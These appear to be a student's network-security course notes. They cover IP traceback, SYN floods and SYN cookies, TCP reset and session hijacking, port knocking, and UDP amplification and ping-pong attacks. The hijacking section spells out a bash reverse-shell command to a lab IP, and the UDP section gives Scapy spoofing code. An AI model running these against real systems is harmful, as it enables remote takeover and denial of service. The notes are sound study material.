4. Network Layer

Introduction

The Internet Protocol(IP) lives on the Network layer of the 2. Network Models, which takes care of the transmission of packet through the internet base on the IP address, which is used to identify the machine to deliver the packet to in the internet.

Question

How do they transport the packet from start to end

IP Headers

IP addresses

IP Address Space and ICANN

IP Routing

Internet Routes

Internet Control Message Protocol(ICMP)

ICMP Attacks

Ping of death

Smurf

IP Vulnerabilities

Denial of Service Attack

IP Traceback

Problem

Issues

  1. Spoofed IP Addresses: In many DDoS attacks, the attacker spoofs the source IP address, making it appear as if the attack packets are coming from a different IP than the real source. This makes it difficult to trace back to the actual origin.
  2. High Volume of Traffic: The sheer volume of packets in a DDoS attack can be overwhelming, making it challenging to identify which packets are legitimate and which are part of the attack.
  3. Distributed Nature: DDoS attacks, by definition, originate from multiple sources. This makes traceback even more complex as there might be multiple entry points to the target network and multiple paths through which attack traffic is routed.
  4. Router Limitations: Many routers in the internet infrastructure do not keep detailed logs of the packets they forward due to performance reasons. As a result, tracing back through a series of routers can be very challenging.
  5. Privacy Concerns: Logging all packet data at routers or ISP level for the sake of traceback can raise privacy concerns.
  6. Lack of Standardization: There's no universally adopted standard or method for IP traceback, leading to inconsistent approaches and tools.
  7. Stateless Nature of IP: The IP protocol is stateless, meaning each packet is treated independently without regard for any other packets. This makes it difficult to establish a complete path or sequence of packets, which is useful in traceback.
  8. Cross-border Issues: Attacks can easily traverse multiple countries, making cooperation and coordination for traceback difficult due to jurisdictional and legal concerns.
  9. Incentive Misalignment: ISPs and intermediaries might not have strong incentives to cooperate in traceback efforts, especially if they are not directly affected by the DDoS attack.

Approaches

Probabilistic Packet Marking

Concept:

  1. Packet Marking: As packets traverse through routers, each router has a certain probability to overwrite certain fields in the packet (typically the Identification field in the IPv4 header) with its own information, which usually includes partial details about its own IP address and other potentially relevant data.
  2. Path Reconstruction: The target (or victim) of a potential attack collects enough marked packets over time. Because the marking is probabilistic, many packets are needed to reconstruct the full path. By analyzing these marked packets, the target can probabilistically determine the path that the packets traveled, all the way back to the source.

Implementation:

  1. Marking Structure: The space in the packet used for marking is usually divided into two fields:
    • A router's IP address fragment: Only a fraction of the router's IP address is recorded due to space limitations.
    • A distance or hop count: Indicates how far the packet has traveled.
  2. Marking Strategy: Each router along the path:
    • Decides based on a predefined probability whether to mark a packet or leave it unaltered.
    • If it decides to mark, it embeds its own address fragment and resets the distance field.
    • If it doesn't mark, it increments the distance field in packets that have been previously marked.
  3. Reconstruction Algorithm: At the target end:
    • Packets are collected and analyzed.
    • Based on the combination of address fragments and hop counts in received packets, the victim reconstructs the path the packets took.
    • Address fragments are pieced together, considering the hop counts, to determine the addresses of the routers in the path.

Method

  1. Random injection of information into packet header: This refers to the probabilistic nature of marking packets. In PPM, as a packet traverses through routers, each router decides based on a certain probability whether to insert its own information into the packet header.
  2. Changes seldom used bits: Typically, PPM uses fields in the packet header that are not critical for normal operations, or fields that are often unused or can be repurposed without significant negative impact. For IPv4 packets, the Identification field is commonly used for this purpose.
  3. Forward routing information to victim: The routers essentially embed partial routing (or path) information into the packets, which then continue to their destination. The target (or victim) can then use this embedded information to attempt to reconstruct the path the packets took, even if the packets are part of a malicious attack.
  4. Redundancy to survive packet losses: Given the probabilistic nature of the marking, many packets need to be analyzed by the victim to reconstruct the path accurately. This built-in redundancy means that even if some packets are lost or don't carry useful marking information, enough marked packets should reach the victim to allow for a reasonably accurate reconstruction of the path.

Benefits

  1. Scalability: Doesn't require routers to maintain logs of packets, thus conserving storage and processing overhead.
  2. Partial Path Information: Even if attackers are aware of this mechanism and try to forge markings, the probabilistic nature means that enough legitimate markings will reach the victim, allowing path reconstruction.
  3. Adaptability: The marking probability can be adjusted based on network conditions and traffic volume

Limitations:

  1. Requires Many Packets: To reconstruct the path with a high degree of confidence, the target needs to collect and analyze a large number of packets.
  2. Inaccuracy: The reconstructed path may not be entirely accurate due to the probabilistic nature of the marking.
  3. Header Overwriting: The process overwrites parts of the IP header, which may not be suitable for all types of traffic and might interfere with some applications or networking features.

Transmission Control Protocol (TCP)

TCP is a transport layer protocol guaranteeing

TCP takes a stream of 8-bit byte data, packages it into appropriately sized segment and calls on IP to transmit these packets

TCP Header

Ports

TCP 3- way handshake

  1. SYN: The initiating client sends a TCP packet with the SYN (Synchronize) flag set, indicating a request to establish a connection. This packet also contains an initial sequence number chosen by the client.
  2. SYN-ACK: Upon receiving the SYN packet, the server responds with a TCP packet that has both the SYN and ACK (Acknowledge) flags set. The ACK flag acknowledges receipt of the client's SYN packet by referencing its sequence number. The server also chooses its initial sequence number, which is indicated by the SYN flag.
  3. ACK: The client then sends an ACK packet back to the server to acknowledge receipt of the server's SYN-ACK packet. With this, the three-way handshake is complete, and the TCP connection is established.
## SYN Flood - Typically DOS attack - Sending TCP connection requests faster than the server can process them - Attacker creates a large number of packets with spoofed source addresses and setting the SYN flag on these - The server responds with a SYN/ACK for which it never gets a response (waits for about 3 minutes each) - Eventually the server stops accepting connection requests, thus triggering a denial of service. ### Solution: SYNC Cookies 1. **Initial Request**: When the server receives a SYN packet from a client (which might be a legitimate client or an attacker), instead of allocating resources, it calculates a `keyed hash` from the information in the packet using a `secret key` that is only know to the server 2. **Computing the Cookie**: The SYN cookie is generated based on several attributes, including the client's IP address, the client's port number, the server's IP address, the server's port number, and a secret server value. This cookie is then used as the initial sequence number in the SYN-ACK response sent back to the client. - First 5 bits are a timestamp - next 3 bits are an encoded value representing the maximum segment size - This final 24 bits are a MAC of the server and client IP addresses, the server and client port number, and the previously used timestamp, computed using a secret key - Server will not store the sync cookie 1. **Client Response**: A legitimate client will respond with an ACK packet. This ACK packet should contain a sequence number that, when certain calculations are applied, should match the server's original SYN cookie. 2. **Establishing the Connection**: If the ACK packet's sequence number matches the SYN cookie, the server knows it's a valid request and only then allocates resources for the connection #### Advantages: 1. **Efficiency**: The server doesn't allocate resources for a connection until it's sure that the connection request is legitimate, so it's less likely to be overwhelmed by malicious SYN packets. 2. **No Memory Allocation**: Since the server doesn't create a half-open connection immediately upon receiving a SYN packet, it doesn't use memory to store the state of such connections. #### Disadvantages: 1. **Lost Features**: Some advanced TCP features (like TCP options) might be lost or limited because the server doesn't store the state of half-open connections. 2. **Computational Overhead**: The server needs to compute the SYN cookie for each SYN packet, which can introduce some computational overhead, though this is typically less than the overhead of handling a flood of SYN packets in traditional ways.

TCP Data Transfer

-1. Sequence Numbers:
- Every byte of data sent in a TCP connection has a sequence number.
- The sequence number ensures that the receiving end can reassemble packets in the correct order, even if they arrive out of sequence.
2. Acknowledgements:
- When the receiver gets a TCP segment, it sends an ACK back to the sender to acknowledge receipt. The ACK contains the sequence number of the next byte the receiver expects.
- This mechanism allows the sender to know which bytes have been received and which might need retransmission.
3. Flow Control (Windowing):
- TCP uses a mechanism called "windowing" to manage the volume of data in transit. The receiver advertises a "window size," which tells the sender how many bytes it can send before needing an acknowledgment.
- If the receiver's buffer starts to fill up (e.g., if it's processing data slower than it's being received), it can reduce the window size, even down to zero, effectively telling the sender to pause data transmission.
4. Retransmission:
- If the sender doesn't receive an ACK within a certain timeframe (determined by a dynamic retransmission timeout), it assumes the segment was lost and resends it.
- This mechanism ensures data integrity, even when network conditions are poor.
5. Data Segmentation:
- Large chunks of data are divided into smaller segments for transmission. TCP decides on the segment size based on factors like the Maximum Segment Size (MSS) and the Maximum Transmission Unit (MTU) of the underlying network.
6. Error Checking:
- Each TCP segment includes a checksum. The receiving end calculates the checksum for the received segment and compares it to the one in the segment. If they don't match, it indicates an error in transmission, and the segment is discarded (and will eventually be retransmitted when the sender realizes an acknowledgment isn't coming for that segment).

TCP Connection termination

TCP Reset Attack

Disconnect a TCP Connection

Using Reset flag

Goal

To break up a TCP connection between A and B
BATCP ConnectionAttackerRST packet

Spoof RST packet

Implementation

An demonstration for how it works in actual practice can be found in the TCP IP attack lab

TCP Congestion Control

Session Hijacking

Goal

To inject data in an established connection

Spoofed TCP packet

It needs to set the following field correctly

Sequence number

if the receiver has already received some data up to the sequence number x, the next sequence number is x+1. if the spoofed packet uses a sequnces number as x+δ, The packet will be taken in by the machine as a out of order packet
The data in this packet will be stored in the receiver's buffer at position x+δ leaving δspaces( having no effect). if δ is large, it may fall out of the boundary

Creating reverse shell

/bin/bash -i > /dev/tcp/10.0.2.70/9090 2>&1 0<&1

/bin/bash -i: creates a interactive shell
/dev/tcp/10.0.2.70/9090: redirect the output to tcp connections to 10.0.2.70's port 9090
2>&1: 2 represents the stderr, redirecting error to stdout which is the TCP connection
0<&1: 0 represents the stdin and 1 represents the stdout, since the stdout is already redirected to the TCP connection, this will tell the shell program to get the input from the same TCP connection

Implementation

More details on how to hijack an active session in this lab

IP Spoofing

attempt by and intruder to send packets from one IP address that appear to originate at another
if the server thinking it is receiving messages from the real source after authenticating session, it could inadvertently behave maliciously

Packet Sniffers

Packet sniffers tor neread information traversing a network

Detecting spoofing

Stop packet sniffing

The best way is to encrypt packets securely

Port Knocking

  1. Initial State: All desired ports on the server are closed, and the services are inaccessible from the outside. To an external observer or a scanning tool, the ports appear closed or filtered.
  2. Knocking Sequence: The client sends a series of connection attempts (knocks) on a predefined sequence of ports. For example, the sequence might be to first knock on port 7000, then 8000, and then 9000.
  3. Server Response: The server silently monitors these knocks. If it detects the correct sequence from an IP address within a specific timeframe, it will open the desired service port (e.g., SSH on port 22) for that IP address.
  4. Access Granted: The client can now connect to the service while it's open. After a set time or once the connection is terminated, the service port returns to its closed state, once again hiding it from the outside world.
  5. Wrong Sequence: If an incorrect sequence is received, the server does not provide any feedback and remains in its closed state. This lack of feedback makes it challenging for attackers to guess the correct sequence.

Advantages of Port Knocking:

  1. Stealth: Services can remain hidden from port scans, reducing the visibility of potential attack vectors.
  2. Layered Security: It adds an additional layer of security, especially for services that need to be accessible from the public internet, like SSH.
    • Port knocking is fairly secure against brute force attacks since there are 65536k combinations, where k is he number of ports knocked
  3. Reduced Attack Surface: By keeping ports closed until needed, the chances of exploitation are reduced.

Disadvantages:

  1. Complexity: Implementing port knocking can introduce complexity into the network setup, potentially leading to configuration errors or maintenance challenges.
  2. Single Point of Failure: If the port knocking service fails, legitimate users might be locked out.
  3. Potential for Denial of Service: If an attacker detects a port knocking mechanism, they could flood the server with random port sequences, potentially preventing legitimate knocks from being recognized.
  4. Not Inherently Secure: By itself, port knocking doesn't encrypt traffic or authenticate users. It merely hides services. Once the knock sequence becomes known, the security advantage diminishes.
  5. Port knocking however if very susceptible to replay attacks. Someone can theoretically record port knocking attempts and repeat those to get the same port open again
    • On good way of protecting against replay attacks would be a time dependent knock sequence

User Datagram Protocol

UDP Applications

Question

UDP does not preserve order and does not handle packet loss. if an application does care about packet loss and order, can it still use UDP?

Answer

Can! resolve it in the application layer, maybe can set a sequence number in the data field youself

UDP Attack

Mostly used for Denial-Of-Service (DOS) Attacks
Strategies: magnify attacking power
Pasted image 20230926125851.png

  1. Turn one grenade into many grenades
    1. Smurf Attack (ICMP)
    2. Fraggle attack (UDP)
  2. Create Regenerable Grenade
    1. UDP Ping Pong Attack
  3. Turn a grenade into a missile
    1. UDP amplification attack

UDP Ping Pong Attack

The client send back a packet, a reply to the packet is sent back to the sender.
If the sender spoof the destination address to another victim's ip, the two machines will start sending packets back and forth

Client Code

two victim's machine 10.9.0.5 and 10.9.0.6 should be running this program

import socket
IP = "0.0.0.0"
PORT = 9090
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind((IP,PORT))
while True:
	data,(ip,port) = sock.recvfrom(1024)
	print("sender:{} and port:{}".format(ip,port))
	print("Received message:{}".format(data))
	## Send back a Thank you note
	sock.sendto(b'thank you',(ip,port))

Attacker code

from scapy.all import *
ip = IP(src="10.9.0.5",dst="10.9.0.6")
udp = UDP(sport=9090,dport=9090)
pkt = ip/udp/data
send(pkt,verbose=0)

UDP Amplification Attack

UDP amplification attack is a type of Distributed Denial of Service (DDoS) attack that exploits vulnerabilities in the User Datagram Protocol (UDP). In this attack, an attacker sends a small UDP packet with a forged source IP address to a vulnerable server, which then responds with a larger packet to the victim's IP address.

The amplification factor occurs because the response from the server is much larger than the initial request. This allows the attacker to generate a high volume of traffic towards the victim's IP address, overwhelming their network and causing service disruption.

There are several types of UDP protocols commonly used in amplification attacks, such as DNS (Domain Name System), NTP (Network Time Protocol), SSDP (Simple Service Discovery Protocol), and SNMP (Simple Network Management Protocol). These protocols have characteristics that make them susceptible to amplification attacks, including large response sizes compared to request sizes.

Protocol Amplification Factor
DNS 28-54 times
NTP 556-650 times
SNMP 6-60 times
SSDP 30-100 times
Chargen 358.8 times
QOTD 140.3 times
Memcached 10,000+ times
BitTorrent Varies

Note: The amplification factors mentioned above are approximate values and can vary depending on various factors such as configuration settings, network conditions, etc.

Solution

To mitigate UDP amplification attacks, network administrators can implement several measures:

  1. Filter incoming traffic: By filtering incoming traffic at network borders or using firewalls, suspicious or malformed packets can be dropped before reaching vulnerable servers.
  2. Rate limiting: Implementing rate limits on outgoing responses from servers can help prevent excessive traffic generation during an attack.
  3. Source IP verification: Implementing source IP verification techniques can help identify and block spoofed IP addresses used by attackers.
  4. Disable unnecessary services: Disable any unnecessary services or protocols that may be vulnerable to amplification attacks.
  5. Patch and update: Regularly patch and update vulnerable software and systems to fix any known vulnerabilities that could be exploited in an amplification attack.
  6. Intrusion Detection/Prevention Systems (IDS/IPS): Deploying IDS/IPS systems can help detect and block malicious traffic patterns associated with UDP amplification attacks.

By implementing these measures, organizations can significantly reduce their vulnerability to UDP amplification attacks and protect their networks from potential service disruptions.

Network Address Translation (NAT)

Translation

Pasted image 20230925094759.png

IP packet Modifications

Pasted image 20230925094830.png